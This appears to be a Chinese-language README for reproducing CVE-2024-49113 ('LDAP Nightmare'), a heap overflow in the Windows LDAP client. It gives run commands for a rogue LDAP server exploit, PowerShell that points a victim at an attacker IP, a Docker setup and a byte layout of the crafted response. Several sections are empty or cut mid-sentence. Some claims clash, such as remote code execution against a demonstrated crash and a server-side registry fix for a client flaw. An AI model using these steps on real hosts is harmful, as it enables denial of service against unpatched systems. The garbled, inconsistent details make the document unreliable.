cve-2024-49113-ldap_nightmare_reproduction 的复现
Windows LDAP 客户端远程代码执行(基于堆的缓冲区溢出)
| 字段 | 值 |
|---|---|
| CVE | CVE-2024-49113 |
| 别名 | LDAP Nightmare |
| CVSS 3.1 | 9.8 — 严重 |
| CWE | CWE-122 — 基于堆的缓冲区溢出 |
| 发现 | SafeBreach(2025 年 1 月发布 PoC) |
| 利用状态 | 已确认在野主动利用 |
| 补丁 | Microsoft 2024 年 12 月 Patch Tuesday(KB5048685 / KB5048652) |
CVE-2024-49113 是 Windows LDAP 客户端库(wldap32.dll)中的一个严重基于堆的缓冲区溢出漏洞。未经认证的远程攻击者可通过向发起 LDAP 查询的受害 Windows 机器(例如执行目录查找的域控制器)发送特制的 LDAP 响应来触发该漏洞。
由于 Windows 域控制器会经常向其他域控制器、成员服务器和全局编录服务器发送 LDAP 查询,因此该缺陷在 Active Directory 环境中尤为危险。成功利用可在本地系统(Local System)帐户(在域控制器上)的上下文中实现远程代码执行,使攻击者完全控制目标服务器。
公开的概念验证(PoC,名为“LDAP Nightmare”)由 SafeBreach 于 2025 年 1 月发布,此前微软已在 2024 年 12 月 Patch Tuesday 中发布了修复。
该漏洞位于 wldap32.dll 中——即 RFC 4511 所定义的轻量目录访问协议(LDAP)客户端的 Windows 实现。
当 LDAP 客户端收到 Search Result Entry(搜索结果条目) 响应时,该库会在 BER(基本编码规则)解码器循环中解析 LDAP 消息的协议数据单元(PDU)。在解析 LDAP 属性值期间,堆内存分配逻辑存在缺陷,导致解码器将数据写入超出堆分配缓冲区边界的位置。
具体来说:
所有受支持的 Windows Server 和 Windows 客户端版本在 2024 年 12 月 10 日安全更新之前均存在漏洞:
解决此 CVE 的 2024 年 12 月 Patch Tuesday 更新如下:
┌──────────────────┐ LDAP Query ┌─────────────────────┐
│ Victim Host │ ──────────────────────────▶ │ Attacker LDAP │
│ (Windows DC) │ │ Server (This PoC) │
│ │ ◀────────────────────────── │ │
│ wldap32.dll │ Crafted LDAP Response │ exploit.py │
│ overflowed │ (heap overflow payload) │ port 389 │
└──────────────────┘ └─────────────────────┘
在受害者机器上,检查已安装的 KB:
Get-HotFix | Where-Object { $_.HotFixID -match "KB5048685|KB5048652" }
如果未返回任何结果,则系统未打补丁且存在漏洞。
在攻击者机器上,运行此 PoC:
python exploit.py --listen-ip 192.168.1.100 --listen-port 389
其中 192.168.1.100 是攻击者的 IP 地址。
注意: 在 Linux 上,绑定端口 389 需要 root 权限(sudo)。在 Windows 上,可能需要管理员权限。
在受害者机器上(PowerShell,以管理员身份):
# Force an LDAP search against the attacker server
$ldapPath = "LDAP://192.168.1.100/DC=evil,DC=local"
$searcher = New-Object DirectoryServices.DirectorySearcher($ldapPath)
$searcher.Filter = "(objectClass=*)"
$searcher.SearchRoot = $null
try {
$results = $searcher.FindAll()
} catch {
Write-Host "Connection attempted — check the PoC server for crash details"
}
或者,使用 ldp.exe(随 Windows Server / RSAT 提供):
DC=evil,DC=local[*] Sending malicious search result entry... 并发送特制的响应。lsass.exe 或 LDAP 客户端进程将因访问违规 (0xC0000005) 而崩溃,或者系统可能出现蓝屏死机(BSOD)。提供了一个 Dockerfile,用于在隔离环境中运行 PoC:
docker build -t ldap-nightmare .
docker run --rm -p 389:389 --cap-add=NET_ADMIN ldap-nightmare
随附的 exploit.py 实现了:
--listen-ip、--listen-port、--payload-size)进行配置。# Start the malicious server
sudo python exploit.py --listen-ip 0.0.0.0 --listen-port 389
# In another terminal, watch for connections
tcpdump -i any port 389 -X
安装 2024 年 12 月 10 日 Patch Tuesday 更新:
如果无法立即应用补丁:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LDAPServerIntegrity" -Value 2 -Type DWord
Restart-Service NTDS
wevtutil qe "Windows PowerShell" /f:text /q:"*[System[EventID=1000]]"
本材料仅供教育和授权安全测试之用。 未经明确许可,针对系统未经授权利用 CVE-2024-49113 属于违法行为。作者不对任何滥用此信息的行为负责。在测试任何系统之前,请务必获得书面授权。
| 偏移 | 字段 | 值 |
|---|
| 0x00 | LDAP 消息标签 (0x30) | 序列 |
| 0x01–0x02 | 总长度(特制) | 大值触发溢出 |
| 0x03 | 协议操作 (0x64) | Search Result Entry |
| 0x04–0x0E | LDAP 结果字段 | 标准头部 |
| 0x0F+ | 属性列表 | 溢出触发器(长度 = 0xFFFF) |
| 来源 | URL |
|---|
| Microsoft 安全响应中心 | MSRC CVE-2024-49113 |
| SafeBreach(原始发现) | SafeBreach Blog — LDAP Nightmare |
| NVD | NVD CVE-2024-49113 |
| CWE-122 | 基于堆的缓冲区溢出 |
| RFC 4511 | LDAPv3 协议 |
| 2024 年 12 月 Patch Tuesday | Microsoft 发行说明 |